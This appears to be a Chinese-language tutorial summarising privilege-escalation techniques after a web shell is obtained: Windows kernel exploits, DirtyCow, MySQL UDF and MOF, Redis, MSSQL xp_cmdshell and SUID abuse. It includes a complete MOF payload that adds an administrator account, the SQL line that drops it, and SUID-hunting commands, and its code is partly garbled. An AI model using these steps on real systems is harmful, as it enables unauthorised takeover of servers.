当前位置: 首页 > 科技观察

提权总结及各种使用姿势

时间:2023-03-21 22:47:59 科技观察

本文适合正在学习提权的朋友,或者准备学习提权的朋友。老大可以绕过去,写的比较基础。我也是新手,所以就总结一下升权的姿势和使用方法,分享一些我觉得好用的方法。欢迎大家帮我补充。如果大家有什么有用的升权方法,也可以分享出来,大家一起进步。.这篇文章有自己的理解。如有不妥之处,希望大家不要喷我,欢迎指正。提权的意思,顾名思义,就是提升权限。当我们对一个网站进行getshell时,大多数情况下我们的权限是很低的(通常只有一个apache权限)。这时候,为了“扩大成果”,我们需要使用提权,让原来的低权限(比如只允许列出目录)->高权限(具有修改文件的能力),提升特权将帮助我们继续。渗透。提权有几种方式:Linux:本地提权数据库提权第三方软件提权Windows:本地提权数据库提权第三方软件提权同理。给大家画个图更直观。因为时间关系没有画。如果你喜欢这篇文章,我会在下次补上。Windows本地提权Windows本地提权有两种,一种是本地服务提权,比如iis6iis5ftpsmb。另一种是系统内核提权漏洞,比如时下流行的ms07-010提权,445端口存在漏洞,利用系统漏洞提权。为了让大家更直观的看到提权的步骤,我决定使用“阿宝”环境进行测试(至于阿宝是谁,我当然不会告诉大家),贴一张图给大家。首先我们进入getshell主机,然后执行'systeminfo'命令可以看到这个主机的基本信息,还有哪些漏洞没有被修复。找出哪些漏洞可以提升,查看目标机器的版本号(比如宿主机是x64还是x86),再找出哪些漏洞可以被利用。如果你下载的是Windows版,一般会有exe脚本下载exe程序,但不一定能维权成功。所以我们要先搭建一个和目标机一样的环境进行测试,测试成功后,再把程序放到目标机上进行提权。这里直接演示我测试的提权脚本。1.Windows本地提权步骤:先getshell,怎么getshell我就不说了,提权一定要在getshell之后,如果你看到一个数据库,如果你能猜到数据库账号的密码,那你就不需要了getshell(不过一般猜不出来-.-),就是用数据库提权,后面再说数据库提权。将我们测试的x64.exe脚本上传到目标机器。我们可以看到在执行这个脚本之前是没有系统权限的。接下来我们执行x64.exe脚本,也就是MS16-032漏洞,可以看到权限已经变成了系统权限,权限成功提升。但是要注意几点,因为我们用菜刀或者蚂蚁剑来连接执行命令不是交互式shell。至于什么是交互式shell,可以自行百度。所以我们在使用脚本的时候,需要在后面输入命令才能执行。如果是交互式shell,比如使用msf,会弹出一个对话框,只要执行这个对话框中的命令,不管执行什么命令,都是以系统权限执行的。其他的脚本也可以提权,需要大家自己去挖掘。当然你也可以使用msf生成的脚本来提权。msfrebound是一个交互式的shell,这个我们后面会讲到。2、Windows提权脚本运行方式(总结):直接执行exe程序,成功后会打开一个cmd窗口,新窗口的权限为system。在webshel??l中执行exe程序,执行方式为x64.exewhoami,成功后直接执行命令,然后修改命令内容执行不同的命令。使用msf等工具。特别的,c++源代码,python脚本,powershell脚本。Linux本地提权Linux系统安装后,内置软件或内核存在漏洞。比较流行的“脏牛”提权也可以使用vim、sudo等方式提权。linux内核的提权和windows是一样的。必须下载漏洞对应的脚本才能提权。但是下载的linux提权脚本需要先编译后才能使用。编译方法很简单,后面会讲到。linux本地提权步骤:getshell后一般是apache用户,然后进入命令栏,输入uname-a命令查看内核版本,使用内核版本提权。我们仍然使用“ahPaul”环境进行演示。既可以查看内核版本,又可以看到redhat系列的系统版本,可以看到是cento6.5。然后找到相关版本的漏洞,进行提权。为了不让系统崩溃,我们需要先安装对应版本的系统,然后在本地测试,以免目标系统崩溃(我已经崩溃过好几次了,崩溃)一般来说,linux提权脚本是一个.c文件,所以你需要linux中的gcc来编译它。如果目标机没有gcc,那么我们只能搭建同样的环境,然后安装gcc进行编译。编译方法脚本一般都有。我们以测试过的脏牛脚本为例。首先,我们上传一个DirtyCow脚本,然后编译它。还有一个脚本,我们执行脚本,最后一定要加个密码,如果管理员和我们不知道密码,就连接不上,然后系统就崩溃了,我不会'下面的事情先不说,去做吧,珍惜吧。我们查看passwd文件,可以看到root用户变成了firefart,然后我们就可以用ssh连接了。root会变成我们的dirtycow,然后用这个用户登录,就可以有管理员权限了,记得把dirtycow备份的文件移动到原来的地方,不然管理员登录不了。数据库提权1、MySQL数据库提权你拥有MySQL的root权限,MySQL以系统权限运行。有执行SQL语句的权限。MySQL数据库提权分为:开机脚本、udf脚本、mof脚本、定时任务。我们主要介绍udf脚本提权,因为个人觉得这种数据库提权的方式比较好用,但是需要数据库写权限。2.启动启动项使用MySQL将后门写入启动项。同时,由于是开机自动启动,写入后需要重启目标服务器才能运行。3、linuxUDF提权不需要判断mysql的版本,直接查看路径即可,直接写so文件,linux中文件是so文件,windows文件是dll文件。我们getshell之后,进入终端输入whoami,发现我们只有apache用户权限:我们找到网站数据库的配置文件,查看数据库的账号密码,可以看到账号root密码root:log在mysql数据库中,您可以输入showvariableslikeinMySQL'%plugin%';直接查看插件路径:然后我们用十六进制编辑工具对so文件进行编码,解码后写入目录,返回true,写入成功。写好后,执行命令创建一个函数,会创建一个sys_eval函数来执行系统命令。该函数执行的所有系统命令都具有系统权限。sys_eval函数可以执行系统命令,只需在括号中输入系统命令即可。4、WindowsUDF提权:UDF可以理解为一个MySQL函数库,可以使用udf定义的创建函数。?如果要使用udf,必须上传udf.dll作为udf的执行库。?MySQL支持UDF扩展,这样我们就可以调用DLL中的函数来实现一些特殊的功能。先导出DLL文件,然后确定mysql版本mysql版本<5.2,UDF导出到系统目录c:/windows/system32/mysqlversion>5.2,UDF导出到安装路径MySQL\Lib\Plugin\中下面的方法跟linuxudf提到的一样对。不做演示,方法同linuxudf提权。5、MOF提权(只适用于windows系统,一般低版本系统都可以,比如xp、server2003)首先找一个可写的目录,上传我们的MOF文件。执行下面的sql语句,会执行mof文件中的命令。我们把mof文件上传到C:/wmpub/nullevt.mof,然后把这个文件复制到c:/windows/sysrtem32/wbem/mof/nullevt.mof目录下:Selectloadfile('C:/wmpub/nullevt.mof')intodumpfile'c??:/windows/sysrtem32/wbem/mof/nullevt.mof'复制这段代码到mof后缀的文件中:#pragmanamespace("\.\root\subscription")instanceofEventFilteras$EventFilter{EventNamespace="Root\Cimv2";Na??me="filtP2";Query="Select*FromInstanceModificationEvent""WhereTargetInstanceIsa\"Win32_LocalTime\"""AndTargetInstance.Second=5";QueryLanguage="WQL";};instanceofActiveScriptEventConsumeras$Consumer{Name="consPCSV2";ScriptingEngine="JScript";ScriptText="varWSH=newActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exeuseradminadmin/add")";};instanceof__FilterToConsumerBinding{Consumer=$Consumer;Filter=$EventFilter;};将这个mof文件上传到目标机上,就可以修改代码,执行命令了。目前mof提权方式用的比较少,因为比较麻烦。MySQL数据库提权推荐使用udf。6.Redis提权启动脚本一般情况下,由于使用源码编译安全,默认以root权限运行,可以通过非授权访问数据库写入任意文件,也可以使用exp直接执行命令。mof脚本规划任务ssh公钥7.mssql提权所谓利用数据库提权,其实就是利用了数据库的操作权限,所以我们只要满足以下条件就可以进行提权:1.必须获得sa的账号密码或者同权限的sa账号密码,并且mssql没有被剥夺权限。2、必须能够以某种方式执行sql语句,例如:webshel??l或者1433端口连接。mssql数据库提权思路:启动脚本监听1433端口,获取mssql的sa账户的账号和密码,然后执行命令,使用execxp_cmdshellwhoami。如果mssql数据库以管理员权限运行,则该命令以管理员权限执行。mssql数据库提权步骤:首先,我们还是需要getshell或者找其他漏洞。这里看到目标机的21端口是开放的,直接用ftp连接,直接复制文件,获取数据库的账号密码。使用数据库连接工具连接,然后输入execxp_cmdshellwhoami命令,可以看到是系统权限。第三方软件提权Linux系统中存在suid提权。如果文件有s权限,普通用户就有执行权限。如果普通用户执行此文件,则在文件所有者的许可下执行。文件,然后找到可以执行命令的文件。Linux可执行文件包括:Nmap、vim、find、Bash、More、Less、Nano、cp。该命令可以查询具有root权限的suid文件。find/-userroot-perm-4000-print2>/dev/null下面用find命令来演示,首先找到find目录,可以使用whereis命令找到find目录,我们会加上s权限来查找。新建一个用户进行实验:我们可以看到权限是qqq用户的权限:可以看到输入这条命令后,我们的权限变成了root,权限成功提升: